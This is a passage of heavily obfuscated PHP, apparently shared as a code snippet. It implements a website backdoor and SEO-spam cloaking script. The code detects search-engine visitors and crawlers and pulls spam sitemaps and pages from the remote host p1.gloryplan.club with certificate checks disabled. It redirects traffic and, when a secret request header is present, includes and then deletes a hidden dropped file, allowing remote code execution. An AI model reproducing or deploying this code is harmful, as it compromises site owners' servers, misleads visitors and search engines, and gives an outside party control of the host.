$mdd3b, $aqvqN, $l05m6[1]); goto MQ3dz; csd4P: exit; goto DeVxA; oLg2d: $Hqeu0 = "\40\x3c\165\162\154\76\x20\74\154\x6f\x63\76\x25\163\x3c\57\154\x6f\143\x3e\x3c\170\x68\x74\x6d\154\x3a\x6c\x69\x6e\x6b\x20\x72\145\x6c\x3d\42\141\154\x74\145\162\156\x61\x74\145\42\40\x68\x72\145\146\x6c\141\156\x67\75\42\152\x61\42\40\x68\x72\x65\146\x3d\42\x25\x73\x22\57\x3e\74\x2f\165\162\154\76"; goto cGUJi; nLwAL: $sMBSM = strval(time()); goto jdirr; H7KlX: $U1HmJ = urlx(sprintf("\x68\x74\x74\x70\x73\72\57\x2f\x25\163\x2f\142\157\164\57\x33\x30\x32\x3f" . $Z0k0E . "\x26\165\162\x69\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1); goto dsKLg; LPhib: $f0DPc++; goto Oetvr; bTxtf: $STerf = ''; goto VpNeE; aZmry: exit; goto ZiWQr; dGWwv: $LZ5po = @file_get_contents("\160\150\160\x3a\x2f\57\x69\156\160\165\x74"); goto FPxQQ; mdlI3: UTe_D: goto yvPCp; QP31M: if (!($f0DPc <= intval($pxVPC))) { goto H5XpM; } goto ybh22; Au2qn: $f0DPc++; goto pB5jc; dzoId: Pvep4: goto RAga3; Enoza: echo $Vx4P3 === false ? "\x66\141\151\x6c" . gets() : $EFa5o . $qM4Cm . gets(); goto frnm3; o5cCi: D8U1s: goto nl1xK; AD6ts: $wGR5O = substr($wGR5O, strpos($wGR5O, "\74\41\x2d\x2d\x20\x2d\x2d\x3e"), 100); goto EZz0h; RIyPV: exit; goto Oriml; nl1xK: $sMBSM = strval(time()); goto E3DLH; Oriml: goto tjN1i; goto orKyg; dp_eL: $wRO7_ = isset($_SERVER["\110\124\124\120\x5f\122\x45\106\x45\x52\105\122"]) ? $_SERVER["\x48\x54\124\120\137\122\x45\x46\105\122\x45\122"] : ''; goto w_M3N; pB5jc: goto zvgQw; goto ulVx3; uqvqm: $akS0y .= "\46\x67\162\x6f\165\160\x69\144\75" . $qM4Cm; goto f6nuW; s_vKk: array_push($z8oOU, "\170\144\x6f\x69\155\x3a\40" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto QTyaM; MC0Co: @header("\103\x6f\x6e\x74\145\156\164\x2d\x74\171\160\x65\x3a\40\x74\145\x78\164\57\170\x6d\x6c"); goto UjmbH; yWijX: $WIpAY = explode("\12", $pxVPC); goto bq8tO; EZz0h: $wGR5O = str_replace(array("\x2f\134\57\x73\x2b\57", "\x5c\x72\x5c\x6e", "\x5c\162", "\x5c\156", "\x22", "\x2c"), '', $wGR5O); goto QMSYR; RAga3: if (!@preg_match("\x23\136\57\x73\151\x74\x65\155\x61\160\x28\x2e\52\x3f\51\56\x78\155\154\x24\x23\x69", $oKxFE, $l05m6)) { goto yoKzr; } goto uQZHF; dZzg5: $LV59l .= $BCuS3 . $rnhNp; goto SRjCI; skCS5: zvgQw: goto QP31M; jf31n: BDsXN: goto SzpHW; DeVxA: mCU0n: goto UHE7R; OClM3: if ($l05m6[1] === '' || @preg_match("\43\50\x5c\x64\53\51\x2d\44\x23", $l05m6[1], $kpGph)) { goto oyRVV; } goto m7KQ5; mXvel: exit; goto dzoId; UD_xs: exit; goto b057P; bq8tO: $Jcv3x = ''; goto p4mRq; i4nTs: $mdd3b = https(); goto HGIJA; Oetvr: goto yuCC3; goto WLFSK; Y12KV: $n14Zn = "\74\77\x78\155\154\x20\166\x65\162\x73\x69\x6f\x6e\x3d\42\61\56\x30\x22\x20\x65\x6e\143\157\x64\x69\x6e\147\75\42\x55\x54\x46\55\x38\x22\77\76\x3c\41\55\x2d\x20\x61\x75\x74\x6f\x67\145\156\x20\142\x79\40\x64\157\x69\x6d\40\55\x2d\x3e\15\12\74\165\x72\x6c\x73\x65\164\40\170\155\x6c\156\163\x3d\42\150\164\164\160\72\57\57\x77\167\x77\x2e\x73\x69\x74\145\155\x61\160\163\x2e\157\x72\147\x2f\x73\143\x68\x65\x6d\x61\163\57\163\x69\x74\x65\155\x61\x70\57\x30\56\71\42\15\12\x20\40\40\40\40\40\x78\155\154\156\163\72\170\x68\x74\155\x6c\75\x22\150\164\164\x70\x3a\57\57\x77\x77\x77\56\x77\63\56\157\x72\147\57\61\71\x39\71\x2f\x78\150\x74\155\154\42\x3e\15\xa\45\163\x3c\x2f\165\x72\x6c\163\145\164\x3e"; goto oLg2d; VN8fV: exit; goto dFGAt; QTyaM: $pxVPC = trim(urlx("\x68\x74\x74\160\x73\72\x2f\x2f" . gets() . "\57\x73\x69\164\x65\x6d\x61\160\x2e\170\x6d\154", $z8oOU, $akS0y . "\46\150\x74\164\x70\x3d" . $mdd3b)); goto Ell5g; HT05z: exit; goto dRfI3; UHE7R: if (!@preg_match("\43\136\x28\x5c\x64\51\x2a\43", $pxVPC)) { goto HEKxP; } goto IQERD; WEJtR: $LV59l = ''; goto OClM3; dsKLg: @header("\114\157\x63\141\164\x69\x6f\x6e\x3a\x20" . $U1HmJ); goto RFCY3; dFGAt: Id3qr: goto JIYQs; fTU3c: $Wq2gT = isset($_SERVER["\110\124\124\x50\x5f\101\x43\x43\105\120\124\137\x4c\x41\x4e\107\125\101\107\105"]) ? substr($_SERVER["\110\124\x54\x50\x5f\x41\x43\103\x45\120\124\137\x4c\x41\x4e\107\125\101\x47\105"], 0, 4) : ''; goto dp_eL; A33Gg: $oKxFE = $_SERVER["\122\105\121\x55\105\x53\124\137\125\x52\111"]; goto w8IrN; Qr6b2: $sMBSM = isset($_SERVER["\110\x54\x54\x50\x5f\x54\111\115\105\123\124\101\x4d\120"]) ? $_SERVER["\x48\124\x54\x50\x5f\124\111\x4d\x45\123\124\101\x4d\120"] : ''; goto dGWwv; UjmbH: if (!(($l05m6[1] === '' || $kpGph[1] != '') && @preg_match("\43\x5e\50\134\x64\51\x2a\43", $pxVPC))) { goto v0G7i; } goto bTxtf; SuQpz: exit; goto P4sXO; dRfI3: CNh9u: goto uEE9N; qnW5X: $EFa5o = trim(urlx("\x68\164\164\x70\x73\x3a\57\57" . gets() . $l05m6[0], $z8oOU, $akS0y)); goto Enoza; p4mRq: foreach ($WIpAY as $QFqi7) { goto wNpuf; bOy1U: $Jcv3x .= sprintf($Hqeu0, $U1HmJ, $U1HmJ); goto qaM0h; qaM0h: VZLDK: goto d3PTZ; wNpuf: $U1HmJ = $mdd3b . "\x3a\57\57" . $aqvqN . "\57" . $QFqi7; goto bOy1U; d3PTZ: } goto dwqGC; UqWP5: if (!@preg_match("\43\147\157\157\147\x6c\x65\174\x79\x61\150\x6f\x6f\174\142\151\x6e\x67\174\143\x72\x61\146\x74\174\x43\162\141\x77\154\x65\162\43\x69", $qz8EB)) { goto ExxFr; } goto ASSL5; SzpHW: $akS0y .= "\x26\x67\162\157\165\160\x69\144\x3d" . $kpGph[1]; goto o5cCi; ESJwo: if (!(@preg_match("\43\x67\157\157\147\x6c\x65\56\143\157\56\152\160\174\x67\x6f\157\147\154\x65\x2e\x63\157\x6d\x7c\171\141\x68\x6f\157\56\143\157\x2e\x6a\160\x7c\171\x61\x68\157\x6f\56\x63\x6f\x7c\142\x69\x6e\x67\x2e\143\x6f\x6d\174\x61\163\153\x2e\143\x6f\155\x7c\x61\157\x6c\56\x63\x6f\155\x7c\x61\x6f\x6c\x2e\x6a\x70\x23\x69", $wRO7_) && @preg_match("\x23\50\x5b\x61\55\x7a\x49\135\x2b\x29\x2d\x28\134\x64\53\x29\77\50\x2d\50\x5c\x64\53\51\x29\77\50\x2e\x68\x74\x6d\154\51\x24\43\151", $oKxFE))) { goto UTe_D; } goto X3Anc; z68IW: echo sprintf($n14Zn, $Jcv3x); goto TEbIt; KYuA0: $Z0k0E .= sprintf("\46\x68\x70\x69\x64\75\45\163\55\x25\x73", preg_replace("\57\x5b\x61\x2d\x7a\111\135\x28\170\x79\172\x7c\142\x75\x7a\172\51\56\x2a\44\x2f", "\56\44\61", strrev($l05m6[1])), $l05m6[2]); goto vq0Ql; WLFSK: eY39u: goto kd_ed; ghV6h: yoKzr: goto Efwtu; NE8z4: exit; goto S_ua0; B9UYW: @ini_set("\144\151\x73\160\154\x61\x79\137\x65\x72\x72\x6f\x72\x73", 0); goto ONosI; QUq1K: if (!($pxVPC === '')) { goto ykbip; } goto SuQpz; jdirr: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\155\160\x3a\x20" . $sMBSM); goto s_vKk; eSQ0z: O9PrI: goto KYuA0; Ab23l: function urlx($HSjIH, $z8oOU = null, $akS0y = null, $eitJM = null) { goto JA1nC; Xk4qO: curl_setopt($kMYyV, CURLOPT_ENCODING, "\x67\x7a\151\160\x2c\x64\145\x66\x6c\x61\164\x65"); goto E1Yow; E1Yow: ZKK8T: goto d_iTJ; JA1nC: $kMYyV = curl_init(); goto Ql1ps; RFxH_: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYHOST, FALSE); goto HB7dh; Ic4jb: $wGR5O = curl_exec($kMYyV); goto RWDpJ; d_iTJ: if (!(stripos($HSjIH, "\150\164\164\x70\x73\72") === 0)) { goto E8HRq; } goto kkS8f; W8nlp: curl_setopt($kMYyV, CURLOPT_RETURNTRANSFER, 1); goto Ic4jb; T9ci_: return $wGR5O; goto y9_EH; tbddd: curl_setopt($kMYyV, CURLOPT_HTTPHEADER, $z8oOU); goto h_ybS; Wr4iD: YAlXA: goto W8nlp; hk8oj: curl_setopt($kMYyV, CURLOPT_POSTFIELDS, $akS0y); goto Wr4iD; RWDpJ: curl_close($kMYyV); goto T9ci_; Ql1ps: curl_setopt($kMYyV, CURLOPT_URL, $HSjIH); goto KwH8a; a8vSa: if ($eitJM === null) { goto ZKK8T; } goto Xk4qO; kkS8f: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYPEER, FALSE); goto RFxH_; HB7dh: E8HRq: goto o8V25; gjcdz: curl_setopt($kMYyV, CURLOPT_POST, 1); goto hk8oj; BIorF: if ($akS0y === null) { goto YAlXA; } goto gjcdz; h_ybS: jX3mQ: goto BIorF; o8V25: if ($z8oOU === null) { goto jX3mQ; } goto tbddd; KwH8a: curl_setopt($kMYyV, CURLOPT_FOLLOWLOCATION, 1); goto a8vSa; y9_EH: } goto oIaeY; RUT23: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\72\57\x2f\45\163\57\142\x6f\164\57\x68\157\x6d\x65\77" . $Z0k0E . "\46\x75\162\151\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1)); goto UD_xs; RzWDy: $oKxFE = $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\122\x49"]; goto Rj_Vo; kWr4p: echo include "\56\145\x47\x41\x30\x54\x79\x32\x57\114\x68"; goto ck1u8; ONosI: @set_time_limit(3600); goto ZS4qE; GORNz: $aqvqN = $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\x54"]; goto RzWDy; orKyg: d3qQQ: goto Vievt; cGUJi: $b5cVx = "\x3c\x3f\170\x6d\x6c\40\x76\x65\162\163\x69\x6f\156\x3d\42\x31\56\60\42\40\x65\x6e\143\x6f\144\x69\156\x67\x3d\x22\x55\x54\106\x2d\70\42\77\76\74\x21\55\55\x20\141\165\164\157\147\x65\x6e\x20\142\171\40\144\x6f\151\155\40\x2d\x2d\x3e\xd\12\x3c\163\x69\x74\145\155\x61\x70\x69\156\144\x65\x78\40\x78\x6d\x6c\x6e\163\x3d\x22\150\164\164\x70\x3a\x2f\57\167\x77\167\56\163\151\x74\145\x6d\141\160\163\x2e\157\162\x67\57\x73\143\150\x65\155\x61\163\x2f\163\x69\164\x65\x6d\x61\160\x2f\60\56\x39\42\76\x20\45\163\x20\74\57\163\x69\164\145\155\141\160\151\x6e\x64\x65\170\76"; goto BfzGN; IQERD: $f0DPc = 1; goto Vlf0S; XusMA: oyRVV: goto poAV3; b057P: goto tjN1i; goto eSQ0z; oIaeY: function cc($oKxFE) { goto Mga3T; FXkKX: ymgfN: goto Sd28z; lJloS: return $x6Thk == $Eo7qf[2]; goto i8G7G; Mga3T: $Eo7qf = explode("\x2d", substr($oKxFE, 1, strlen($oKxFE) - 6)); goto EcMb7; flaWq: return false; goto FXkKX; EcMb7: if (!(sizeof($Eo7qf) != 3)) { goto ymgfN; } goto flaWq; Sd28z: $x6Thk = sprintf("\45\165", crc32(sprintf("\45\x73\55\x25\x73", $Eo7qf[0], $Eo7qf[1]))); goto lJloS; i8G7G: } goto LtgNM; FU2nu: $pxVPC = trim(urlx("\150\x74\x74\160\x73\72\57\x2f" . gets() . "\x2f\x73\x69\x74\145\155\141\160" . ($l05m6[1] == '' || $kpGph[1] != '' ? "\56\170\155\x6c" : "\57" . $l05m6[1]), $z8oOU, $akS0y)); goto QUq1K; yvPCp: function urls($aqvqN, $A97fO, $qz8EB, $u53P6, $X8C9c = null) { goto kni0n; IYBpi: fclose($Y1DXe); goto TKglJ; tHYwC: $qiYWC = fwrite($Y1DXe, $rmm2F); goto IYBpi; EYUuk: $rmm2F = "\107\x45\x54\x20" . $A97fO . "\77" . $X8C9c . "\40\110\124\x54\x50\57\61\56\60\xd\12\110\x6f\163\164\x3a\x20" . $aqvqN . "\15\xa\x52\145\146\145\x72\x65\162\72\40" . $u53P6 . "\15\12\x55\x73\x65\x72\x2d\101\x67\x65\x6e\x74\72\40" . $qz8EB . "\15\xa\xd\xa"; goto tHYwC; kni0n: $Y1DXe = stream_socket_client("\163\x73\154\72\x2f\57" . $aqvqN . "\x3a\64\64\63", $xpk7C, $pnKGT, 6); goto EYUuk; TKglJ: } goto Ab23l; lDTMI: array_push($z8oOU, "\x78\x64\x6f\x69\155\72\x20" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto FU2nu; t5Hpe: $LV59l .= $BCuS3 . $rnhNp; goto ShbCm; Efwtu: if (!(isset($_SERVER["\x48\124\124\x50\137\x58\104\117\x49\x4d"]) && strlen($_SERVER["\110\x54\124\x50\137\130\104\117\x49\115"]) > 0)) { goto CNh9u; } goto Qr6b2; LNAnP: $akS0y = "\163\x68\157\163\164\x3d" . $aqvqN . "\46\x70\162\157\x74\x6f\x3d" . $mdd3b; goto A33Gg; w_M3N: $qz8EB = isset($_SERVER["\x48\x54\x54\x50\137\x55\123\105\x52\137\x41\107\x45\116\x54"]) ? $_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\107\x45\x4e\x54"] : ''; goto GORNz; ck1u8: unlink("\x2e\x65\107\x41\60\124\x79\x32\x57\x4c\x68"); goto HT05z; wBhhs: if (@preg_match("\x23\x28\x5c\144\53\x29\55\x24\x23", $l05m6[1], $kpGph)) { goto BDsXN; } goto uqvqm; LtgNM: function gets() { return "\x70\x31\x2e\x67\x6c\x6f\x72\171\x70\x6c\141\156\56\143\154\165\x62"; } goto fd1y2; P4sXO: ykbip: goto MC0Co; BfzGN: $RJGGs = "\x20\x3c\x73\x69\164\x65\155\x61\160\x3e\40\74\154\x6f\x63\76\45\x73\x3a\57\x2f\45\163\57\x73\151\164\145\155\141\160\45\x64\x2e\170\x6d\154\x3c\57\x6c\x6f\x63\x3e\74\x2f\x73\151\164\x65\x6d\141\x70\76"; goto fTU3c; J42vH: error_reporting(0); goto B9UYW; ShbCm: AO3Cq: goto LPhib; S_ua0: tjN1i: goto Txycq; jBm45: array_push($z8oOU, "\164\x69\x6d\x65\x73\x74\x61\155\x70\72\40" . $sMBSM); goto SOVDm; ybh22: $STerf .= sprintf($RJGGs, $mdd3b, $aqvqN, $f0DPc, date("\131\55\x6d\x2d\x64\x5c\124\x48\72\x69\72\163\120", time())); goto X9SBa; SQBbW: $wGR5O = urlx($HSjIH, null, null, 1, "\x4d\157\x7a\151\154\154\141\57\65\56\60\40\50\127\151\156\x64\157\167\x73\73\x20\x55\x3b\x20\x57\151\156\x64\x6f\x77\x73\40\116\124\40\x35\56\x31\73\x20\145\156\55\x55\123\51\x20\101\x70\x70\x6c\x65\x57\145\142\113\x69\x74\57\65\x33\64\56\67\x20\x28\113\110\x54\115\x4c\x2c\x20\x6c\x69\x6b\x65\40\107\x65\143\153\x6f\51\x20\x43\150\162\x6f\155\145\57\x37\56\60\56\x35\x31\x37\x2e\x34\61\x20\123\x61\x66\141\x72\x69\57\65\63\64\x2e\x37"); goto AD6ts; PGRJx: $HSjIH = $l05m6[1] == '' ? sprintf($HSjIH, $aqvqN) : sprintf($HSjIH, $l05m6[1]); goto SQBbW; SOVDm: array_push($z8oOU, "\170\144\157\151\x6d\72\x20" . crc32($sMBSM . "\x5c\x6e" . $akS0y)); goto qnW5X; zGSDt: if (@preg_match("\43\143\141\164\145\x5c\x2f\50\133\141\x2d\172\135\x2b\51\55\x28\x5c\x64\53\51\x24\x23\151", $oKxFE, $ztMBC)) { goto d3qQQ; } goto RUT23; RFCY3: exit; goto mdlI3; eu5o_: if (@preg_match("\x23\x28\133\x61\55\x7a\135\53\51\55\50\x5c\x64\x2b\51\77\x28\x2e\x68\x74\155\x6c\51\44\x23\151", $oKxFE, $l05m6)) { goto O9PrI; } goto zGSDt; JIYQs: if (!@preg_match("\x23\136\57\x67\x65\x74\x76\145\162\44\43\x69", $oKxFE, $l05m6)) { goto W3trB; } goto qJ_Zn; ulVx3: H5XpM: goto pVdkz; poAV3: $akS0y .= $kpGph[1] == '' ? "\46\147\x72\157\165\160\151\x64\75" . $qM4Cm : "\46\x67\x72\x6f\x75\160\151\144\75" . $kpGph[1]; goto nLwAL; Zgw0g: W3trB: goto UqWP5; uEE9N: if (!@preg_match("\43\136\x2f\163\x69\164\x65\x2f\77\50\x2e\52\77\x29\x24\x23\x69", $oKxFE, $l05m6)) { goto Id3qr; } goto naMt1; qJ_Zn: $sMBSM = strval(time()); goto jBm45; ASSL5: $Z0k0E = $akS0y . "\x26\x68\x74\164\x70\75" . $mdd3b . "\46\x67\162\157\165\160\x69\x64\75" . $qM4Cm; goto eu5o_; o6cN6: $rnhNp = urlx($BCuS3); goto t5Hpe; JuOh6: function clientip() { goto mFDFU; F0Hfg: gyFls: goto c1AAM; ZwUws: return $_SERVER["\x52\x45\115\x4f\x54\105\x5f\101\104\x44\x52"]; goto F0Hfg; l_hXY: goto gyFls; goto YoAl8; VICwV: goto gyFls; goto Cvx_c; YoAl8: symjh: goto TvSiC; Cvx_c: VS4FL: goto ZwUws; vAQ1K: if (isset($_SERVER["\x52\x45\x4d\117\x54\x45\137\101\x44\x44\122"]) && $_SERVER["\122\x45\115\117\x54\x45\137\x41\x44\x44\122"] && strcasecmp($_SERVER["\122\x45\115\x4f\124\x45\x5f\x41\x44\x44\x52"], "\165\x6e\153\156\x6f\167\156")) { goto VS4FL; } goto l_hXY; mFDFU: if (getenv("\x52\x45\115\117\124\105\x5f\x41\104\x44\122") && strcasecmp(getenv("\x52\105\115\x4f\124\105\x5f\x41\104\104\x52"), "\165\x6e\153\156\157\x77\156")) { goto symjh; } goto vAQ1K; TvSiC: return getenv("\x52\105\115\117\x54\105\x5f\101\x44\x44\122"); goto VICwV; c1AAM: }?>

Php

INFO

Quick actions

db4

Snippet info